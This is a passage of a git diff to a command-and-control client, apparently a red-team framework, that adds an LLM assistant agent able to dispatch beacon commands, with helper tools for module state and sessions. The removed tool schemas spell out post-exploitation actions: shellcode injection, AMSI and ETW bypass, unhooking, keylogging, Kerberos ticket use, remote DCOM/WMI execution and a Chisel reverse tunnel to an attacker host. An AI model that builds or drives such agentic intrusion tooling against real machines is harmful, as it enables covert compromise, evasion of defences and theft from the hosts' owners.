getattr(command, "examples", []) if str(example).strip()] + if examples: + lines.append("Examples: " + " | ".join(examples[:3])) + return "\n".join(line for line in lines if line) + + +def _tool_parameters(command: Any, command_template: str) -> dict[str, Any]: + placeholders = _template_placeholders(command_template) + arg_by_property = { + command_arg_property_name(arg): arg + for arg in getattr(command, "args", []) + } + properties: dict[str, Any] = dict(_SESSION_PROPERTIES) + required = ["beacon_hash", "listener_hash"] + + for placeholder in placeholders: + if placeholder.name in properties: + continue + arg = arg_by_property.get(placeholder.name) + properties[placeholder.name] = _property_schema(placeholder, arg) + if not placeholder.optional: + required.append(placeholder.name) + + return { + "type": "object", + "properties": properties, + "required": required, + "additionalProperties": False, + } + + +def _property_schema(placeholder: "_TemplatePlaceholder", arg: Any | None) -> dict[str, Any]: + if placeholder.modifier == "flag": + schema: dict[str, Any] = {"type": "boolean"} + else: + arg_type = str(getattr(arg, "type", "") or "").lower() + if arg_type == "number": + schema = {"type": "number"} + else: + schema = {"type": "string"} + + values = [str(value) for value in getattr(arg, "values", [])] if arg is not None else [] + if values and schema.get("type") == "string": + schema["enum"] = values + + description_parts = [] + if arg is not None: + arg_name = str(getattr(arg, "name", "") or "").strip() + arg_description = str(getattr(arg, "description", "") or "").strip() + if arg_name: + description_parts.append(f"Command argument `{arg_name}`.") + if arg_description: + description_parts.append(arg_description) + if _arg_has_artifact_filter(arg): + description_parts.append("Select an artifact compatible with the CommandSpec artifact filter.") + if bool(getattr(arg, "variadic", False)): + description_parts.append("May contain spaces.") + if placeholder.modifier == "raw": + description_parts.append("Rendered raw without shell quoting.") + if description_parts: + schema["description"] = " ".join(description_parts) + return schema + + +@dataclass(frozen=True, slots=True) +class _TemplatePlaceholder: + name: str + modifier: str + optional: bool + + +def _template_placeholders(command_template: str) -> list[_TemplatePlaceholder]: + optional_ranges: list[tuple[int, int]] = [] + for match in _OPTIONAL_SEGMENT_RE.finditer(command_template): + optional_ranges.append((match.start(), match.end())) + + placeholders: list[_TemplatePlaceholder] = [] + seen: set[str] = set() + for match in _PLACEHOLDER_RE.finditer(command_template): + name = match.group("name") + if name in seen: + continue + seen.add(name) + optional = bool(match.group("optional")) or any(start <= match.start() < end for start, end in optional_ranges) + placeholders.append( + _TemplatePlaceholder( + name=name, + modifier=match.group("modifier") or "", + optional=optional, + ) + ) + return placeholders + + +def _arg_has_artifact_filter(arg: Any) -> bool: + if getattr(arg, "artifact_filters", None): + return True + if not hasattr(arg, "artifact_filter"): + return False + if hasattr(arg, "HasField"): + try: + return bool(arg.HasField("artifact_filter")) + except ValueError: + return False + return getattr(arg, "artifact_filter", None) is not None + + +def _joined(values: Any) -> str: + try: + return ", ".join(str(value) for value in values if str(value).strip()) + except TypeError: + return "" diff --git a/C2Client/C2Client/assistant_agent/tools/command_tool.py b/C2Client/C2Client/assistant_agent/tools/command_tool.py index b4c40f4..32f6a92 100644 --- a/C2Client/C2Client/assistant_agent/tools/command_tool.py +++ b/C2Client/C2Client/assistant_agent/tools/command_tool.py @@ -5,7 +5,8 @@ from typing import Any from .command_builder import build_command_line -from .loader import C2ToolSpec +from .command_specs import C2CommandSpecToolSpec +from .module_state_tool import has_loaded_module from agent_core.execution_context import ExecutionContext from agent_core.llm.base import LLMToolDefinition @@ -17,7 +18,7 @@ @dataclass(slots=True) class C2CommandTool: - spec: C2ToolSpec + spec: C2CommandSpecToolSpec grpc_client: Any @property @@ -38,6 +39,13 @@ def schema(self) -> LLMToolDefinition: def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: beacon_hash = arguments["beacon_hash"] listener_hash = arguments["listener_hash"] + module_loaded = self._module_loaded(beacon_hash=beacon_hash, listener_hash=listener_hash) + if module_loaded is False: + return ToolResult( + ok=False, + content=f"Module `{self.spec.name}` is not loaded on this beacon. Use `loadModule {self.spec.name}` first, then retry the command.", + ) + command_line = build_command_line(self.spec, arguments) command_id = uuid.uuid4().hex command = TeamServerApi_pb2.SessionCommandRequest( @@ -65,3 +73,14 @@ def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: "command_line": command_line, }, ) + + def _module_loaded(self, *, beacon_hash: str, listener_hash: str) -> bool | None: + command_spec = self.spec.command_spec + if str(getattr(command_spec, "kind", "") or "").lower() != "module": + return True + return has_loaded_module( + self.grpc_client, + beacon_hash=beacon_hash, + listener_hash=listener_hash, + module_name=self.spec.name, + ) diff --git a/C2Client/C2Client/assistant_agent/tools/loader.py b/C2Client/C2Client/assistant_agent/tools/loader.py deleted file mode 100644 index 6d5e915..0000000 --- a/C2Client/C2Client/assistant_agent/tools/loader.py +++ /dev/null @@ -1,69 +0,0 @@ -from __future__ import annotations - -import json -from dataclasses import dataclass -from pathlib import Path -from typing import Any - - -@dataclass(frozen=True, slots=True) -class C2ToolSpec: - name: str - description: str - command_template: str - parameters: dict[str, Any] - source_path: Path - - -def default_schema_dir() -> Path: - return Path(__file__).resolve().parent / "schemas" - - -def load_tool_specs(schema_dir: Path | None = None) -> list[C2ToolSpec]: - schema_dir = schema_dir or default_schema_dir() - specs = [_load_tool_spec(path) for path in sorted(schema_dir.glob("*.json"))] - names = [spec.name for spec in specs] - duplicates = sorted({name for name in names if names.count(name) > 1}) - if duplicates: - raise ValueError(f"Duplicate C2 assistant tool names: {', '.join(duplicates)}") - return sorted(specs, key=lambda spec: spec.name) - - -def _load_tool_spec(path: Path) -> C2ToolSpec: - try: - payload = json.loads(path.read_text(encoding="utf-8")) - except json.JSONDecodeError as exc: - raise ValueError(f"Invalid JSON tool schema: {path}") from exc - - if not isinstance(payload, dict): - raise ValueError(f"Tool schema must be a JSON object: {path}") - - name = _required_string(payload, "name", path) - description = _required_string(payload, "description", path) - command_template = _required_string(payload, "command_template", path) - parameters = payload.get("parameters") - if not isinstance(parameters, dict) or parameters.get("type") != "object": - raise ValueError(f"Tool schema parameters must be a JSON object schema: {path}") - - required = parameters.get("required") - if not isinstance(required, list) or "beacon_hash" not in required or "listener_hash" not in required: - raise ValueError(f"Tool schema must require beacon_hash and listener_hash: {path}") - - properties = parameters.get("properties") - if not isinstance(properties, dict): - raise ValueError(f"Tool schema parameters.properties must be an object: {path}") - - return C2ToolSpec( - name=name, - description=description, - command_template=command_template, - parameters=parameters, - source_path=path, - ) - - -def _required_string(payload: dict[str, Any], key: str, path: Path) -> str: - value = payload.get(key) - if not isinstance(value, str) or not value.strip(): - raise ValueError(f"Tool schema field {key} must be a non-empty string: {path}") - return value.strip() diff --git a/C2Client/C2Client/assistant_agent/tools/module_state_tool.py b/C2Client/C2Client/assistant_agent/tools/module_state_tool.py new file mode 100644 index 0000000..9447ad2 --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/module_state_tool.py @@ -0,0 +1,111 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any + +from agent_core.execution_context import ExecutionContext +from agent_core.llm.base import LLMToolDefinition +from agent_core.tools import build_tool_definition +from agent_core.types import ToolResult + +from ...grpcClient import TeamServerApi_pb2 + + +@dataclass(slots=True) +class C2LoadedModulesTool: + grpc_client: Any + + name = "listLoadedModules" + description = "List modules currently tracked for a beacon session. Use this before running module commands." + + def schema(self) -> LLMToolDefinition: + return build_tool_definition( + name=self.name, + description=self.description, + parameters={ + "type": "object", + "properties": { + "beacon_hash": { + "type": "string", + "description": "Full beacon hash for the target session.", + }, + "listener_hash": { + "type": "string", + "description": "Full listener hash for the target session.", + }, + }, + "required": ["beacon_hash", "listener_hash"], + "additionalProperties": False, + }, + ) + + def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: + modules = list_loaded_modules( + self.grpc_client, + beacon_hash=arguments["beacon_hash"], + listener_hash=arguments["listener_hash"], + ) + return ToolResult(ok=True, content=format_loaded_modules(modules)) + + +def list_loaded_modules(grpc_client: Any, *, beacon_hash: str, listener_hash: str) -> list[Any]: + if grpc_client is None or not hasattr(grpc_client, "listModules"): + return [] + session = TeamServerApi_pb2.SessionSelector( + beacon_hash=beacon_hash, + listener_hash=listener_hash, + ) + return list(grpc_client.listModules(session)) + + +def has_loaded_module(grpc_client: Any, *, beacon_hash: str, listener_hash: str, module_name: str) -> bool | None: + if grpc_client is None or not hasattr(grpc_client, "listModules"): + return None + try: + modules = list_loaded_modules(grpc_client, beacon_hash=beacon_hash, listener_hash=listener_hash) + except Exception: + return None + + expected = _normalize_module_name(module_name) + for module in modules: + name = _normalize_module_name(getattr(module, "name", "")) + state = str(getattr(module, "state", "") or "").lower() + if name == expected and state == "loaded": + return True + return False + + +def format_loaded_modules(modules: list[Any]) -> str: + rows = [] + for module in modules: + name = str(getattr(module, "name", "") or "").strip() + if not name: + continue + state = str(getattr(module, "state", "") or "unknown").strip() or "unknown" + rows.append((name, state)) + + if not rows: + return "No loaded modules." + + name_width = max(len("name"), *(len(name) for name, _state in rows)) + lines = [f"{'name'.ljust(name_width)} status"] + for name, state in rows: + lines.append(f"{name.ljust(name_width)} {state}") + return "\n".join(lines) + + +def _normalize_module_name(value: Any) -> str: + text = str(value or "").strip() + if "." in text: + text = text.rsplit(".", 1)[0] + if text.lower().startswith("lib") and len(text) > 3: + text = text[3:] + aliases = { + "printworkingdirectory": "pwd", + "changedirectory": "cd", + "listdirectory": "ls", + "listprocesses": "ps", + "ipconfig": "ipConfig", + "mkdir": "mkDir", + } + return aliases.get(text.lower(), text).lower() diff --git a/C2Client/C2Client/assistant_agent/tools/registry.py b/C2Client/C2Client/assistant_agent/tools/registry.py index a4e678a..dab831c 100644 --- a/C2Client/C2Client/assistant_agent/tools/registry.py +++ b/C2Client/C2Client/assistant_agent/tools/registry.py @@ -1,20 +1,24 @@ from __future__ import annotations -from pathlib import Path from typing import Any +from .command_help_tool import C2CommandHelpTool from .command_tool import C2CommandTool -from .loader import load_tool_specs +from .command_specs import load_command_tool_specs +from .module_state_tool import C2LoadedModulesTool +from .session_state_tool import C2LiveSessionsTool from agent_core import ToolRegistry -def build_c2_tool_registry( - grpc_client: Any, - *, - schema_dir: Path | None = None, -) -> ToolRegistry: +def build_c2_tool_registry(grpc_client: Any) -> ToolRegistry: registry = ToolRegistry() - for spec in load_tool_specs(schema_dir): + if grpc_client is not None and hasattr(grpc_client, "getCommandHelp"): + registry.register(C2CommandHelpTool(grpc_client)) + if grpc_client is not None and hasattr(grpc_client, "listModules"): + registry.register(C2LoadedModulesTool(grpc_client)) + if grpc_client is not None and hasattr(grpc_client, "listSessions"): + registry.register(C2LiveSessionsTool(grpc_client)) + for spec in load_command_tool_specs(grpc_client): registry.register(C2CommandTool(spec, grpc_client)) return registry diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json deleted file mode 100644 index a8b2f3d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "name": "assemblyExec", - "description": "Prepare AssemblyExec execution mode or payload execution.", - "command_template": "assemblyExec {action} {input_file:q?} {method:q?} {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "Execution mode selector or payload type accepted by init(): thread, process, processWithSpoofedParent, -r, -e, or -d.", - "enum": [ - "thread", - "process", - "processWithSpoofedParent", - "-r", - "-e", - "-d" - ] - }, - "input_file": { - "type": "string", - "description": "Raw shellcode, .NET executable, or .NET DLL path. Required for -r, -e, and -d. The module also searches the release Tools directory.", - "default": "" - }, - "method": { - "type": "string", - "description": "DLL method name. Required only when action is -d.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional arguments passed to the .NET executable or DLL method.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/cat.json b/C2Client/C2Client/assistant_agent/tools/schemas/cat.json deleted file mode 100644 index cd10105..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/cat.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "cat", - "description": "Read a file on a beacon host.", - "command_template": "cat {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "File path to read." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/cd.json b/C2Client/C2Client/assistant_agent/tools/schemas/cd.json deleted file mode 100644 index 0a60c86..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/cd.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "cd", - "description": "Change the beacon working directory.", - "command_template": "cd {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Target working directory path." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/chisel.json b/C2Client/C2Client/assistant_agent/tools/schemas/chisel.json deleted file mode 100644 index a636bc0..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/chisel.json +++ /dev/null @@ -1,47 +0,0 @@ -{ - "name": "chisel", - "description": "Manage Chisel status, stop a running instance, or launch a Chisel client payload.", - "command_template": "chisel {binary_path_or_action:q} {pid?} {client_subcommand?} {server:q?} {reverse:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "binary_path_or_action": { - "type": "string", - "description": "Use status, stop, or the local Chisel executable path to package and launch." - }, - "pid": { - "type": "integer", - "description": "PID to stop when binary_path_or_action is stop." - }, - "client_subcommand": { - "type": "string", - "description": "Use client when launching Chisel.", - "default": "" - }, - "server": { - "type": "string", - "description": "Attacker host:port for Chisel client mode.", - "default": "" - }, - "reverse": { - "type": "string", - "description": "Reverse mapping such as R:socks or R:LOCAL_PORT:TARGET_IP:REMOTE_PORT.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "binary_path_or_action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json deleted file mode 100644 index ce66ef1..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "cimExec", - "description": "Execute a command over CIM/WMI with explicit init() options.", - "command_template": "cimExec -h {hostname:q} -c {command:q} [-n {namespace_name:q}] [-a {arguments:q}] [-u {username:q}] [-p {password:q}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "hostname": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Executable or command to start remotely." - }, - "namespace_name": { - "type": "string", - "description": "CIM namespace passed with -n. Defaults to root/cimv2 in the module.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional command arguments passed with -a.", - "default": "" - }, - "username": { - "type": "string", - "description": "Optional username passed with -u.", - "default": "" - }, - "password": { - "type": "string", - "description": "Optional password passed with -p.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "hostname", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json b/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json deleted file mode 100644 index ea7e65c..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "name": "coffLoader", - "description": "Load a TeamServer-managed COFF object artifact and execute an exported function.", - "command_template": "coffLoader {coff_file:q} {function_name:q} {packed_arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "coff_file": { - "type": "string", - "description": "COFF/BOF tool artifact name or id from Tools." - }, - "function_name": { - "type": "string", - "description": "Exported function to call, for example go." - }, - "packed_arguments": { - "type": "string", - "description": "Optional COFF argument format and values, for example: Zs c:\\ 0.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "coff_file", - "function_name" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json deleted file mode 100644 index 4896be3..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "name": "dcomExec", - "description": "Execute a command over DCOM with the flags parsed by DcomExec::init().", - "command_template": "dcomExec -h {hostname:q} -c {command:q} [-a {arguments:q}] [-w {working_dir:q}] [-k {spn:q}] [-u {username:q}] [-p {password:q}] [-n {no_password:flag}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "hostname": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Executable or command to start remotely." - }, - "arguments": { - "type": "string", - "description": "Optional command arguments passed with -a.", - "default": "" - }, - "working_dir": { - "type": "string", - "description": "Optional remote working directory passed with -w.", - "default": "" - }, - "spn": { - "type": "string", - "description": "Optional Kerberos SPN passed with -k.", - "default": "" - }, - "username": { - "type": "string", - "description": "Optional username passed with -u. If set, also set password or no_password.", - "default": "" - }, - "password": { - "type": "string", - "description": "Optional password passed with -p.", - "default": "" - }, - "no_password": { - "type": "boolean", - "description": "Include -n to use no password/current credential behavior.", - "default": false - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "hostname", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json deleted file mode 100644 index 0fbbaf5..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "dotnetExec", - "description": "Load or run .NET assemblies. Load inputs are resolved from TeamServer Tools.", - "command_template": "dotnetExec {action} {module_name:q} {assembly_artifact:q?} {type_or_method:q?} {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "DotnetExec action.", - "enum": [ - "load", - "runExe", - "runDll" - ] - }, - "module_name": { - "type": "string", - "description": "Short module name used for loaded assemblies, or the loaded module to run." - }, - "assembly_artifact": { - "type": "string", - "description": "Assembly tool artifact name or id for load. Required for action load.", - "default": "" - }, - "type_or_method": { - "type": "string", - "description": "Fully-qualified type name for DLL load, or method name for runDll.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional runExe/runDll argument tail.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action", - "module_name" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/download.json b/C2Client/C2Client/assistant_agent/tools/schemas/download.json deleted file mode 100644 index 047a980..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/download.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "download", - "description": "Download a file from a beacon host to the operator machine.", - "command_template": "download {remote_path:q} {local_path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "remote_path": { - "type": "string", - "description": "Path on the beacon host." - }, - "local_path": { - "type": "string", - "description": "Destination path on the operator machine." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "remote_path", - "local_path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json b/C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json deleted file mode 100644 index bb00a6f..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "enumerateRdpSessions", - "description": "Enumerate local or remote RDP sessions.", - "command_template": "enumerateRdpSessions [-s {server:q}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "server": { - "type": "string", - "description": "Optional target host name or IP. Omit for local enumeration.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json b/C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json deleted file mode 100644 index 04ebb74..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "enumerateShares", - "description": "Enumerate SMB shares from the beacon context.", - "command_template": "enumerateShares {host:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "host": { - "type": "string", - "description": "Optional remote host to enumerate.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/evasion.json b/C2Client/C2Client/assistant_agent/tools/schemas/evasion.json deleted file mode 100644 index 2dd1417..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/evasion.json +++ /dev/null @@ -1,49 +0,0 @@ -{ - "name": "evasion", - "description": "Run an Evasion module action.", - "command_template": "evasion {action} {address:q?} {value:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "Evasion action accepted by init().", - "enum": [ - "CheckHooks", - "DisableETW", - "Unhook", - "UnhookPerunsFart", - "AmsiBypass", - "Introspection", - "ReadMemory", - "PatchMemory", - "RemotePatch" - ] - }, - "address": { - "type": "string", - "description": "Address/module value for Introspection, ReadMemory, or PatchMemory.", - "default": "" - }, - "value": { - "type": "string", - "description": "Size for ReadMemory or patch bytes/value for PatchMemory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json b/C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json deleted file mode 100644 index 0af627d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "getEnv", - "description": "List environment variables available to the beacon process.", - "command_template": "getEnv", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/inject.json b/C2Client/C2Client/assistant_agent/tools/schemas/inject.json deleted file mode 100644 index d565853..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/inject.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "inject", - "description": "Inject raw shellcode or TeamServer-generated shellcode into a process.", - "command_template": "inject {payload_type} {input_file:q} --pid {pid} [--method {method:q}] {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "payload_type": { - "type": "string", - "description": "Payload source flag: --raw for shellcode, --donut-exe for an executable, or --donut-dll for a DLL.", - "enum": [ - "--raw", - "--donut-exe", - "--donut-dll" - ] - }, - "input_file": { - "type": "string", - "description": "Raw shellcode, .NET executable, or .NET DLL path. The module also searches release Tools and Windows beacons directories." - }, - "pid": { - "type": "integer", - "description": "Target process id. Use a negative value to spawn the configured process before injection." - }, - "method": { - "type": "string", - "description": "DLL method name. Required only when payload_type is --donut-dll.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional arguments passed to the .NET executable or DLL method.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "payload_type", - "input_file", - "pid" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json b/C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json deleted file mode 100644 index f221bf1..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "ipConfig", - "description": "Show local IP configuration for the beacon host.", - "command_template": "ipConfig", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json b/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json deleted file mode 100644 index 59c1bef..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "kerberosUseTicket", - "description": "Import a Kerberos ticket artifact from UploadedArtifacts into the current LUID.", - "command_template": "kerberosUseTicket {ticket_artifact:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "ticket_artifact": { - "type": "string", - "description": ".kirbi artifact name or id from UploadedArtifacts." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "ticket_artifact" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json b/C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json deleted file mode 100644 index 1ea240f..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "keyLogger", - "description": "Start, stop, or locally dump the keylogger buffer.", - "command_template": "keyLogger {action}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "KeyLogger action accepted by init(). dump is handled locally and does not dispatch to the beacon.", - "enum": [ - "start", - "stop", - "dump" - ] - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json b/C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json deleted file mode 100644 index 9bb11f7..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "killProcess", - "description": "Terminate a process on the beacon host by PID.", - "command_template": "killProcess {pid}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "pid": { - "type": "integer", - "description": "Process id to terminate.", - "minimum": 0 - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "pid" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json b/C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json deleted file mode 100644 index cee13d9..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "listProcesses", - "description": "List running processes on the beacon host.", - "command_template": "ps", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json b/C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json deleted file mode 100644 index 7411d11..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "loadModule", - "description": "Load a beacon module into memory. Use this when a module is missing before retrying a command.", - "command_template": "loadModule {module_to_load}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash 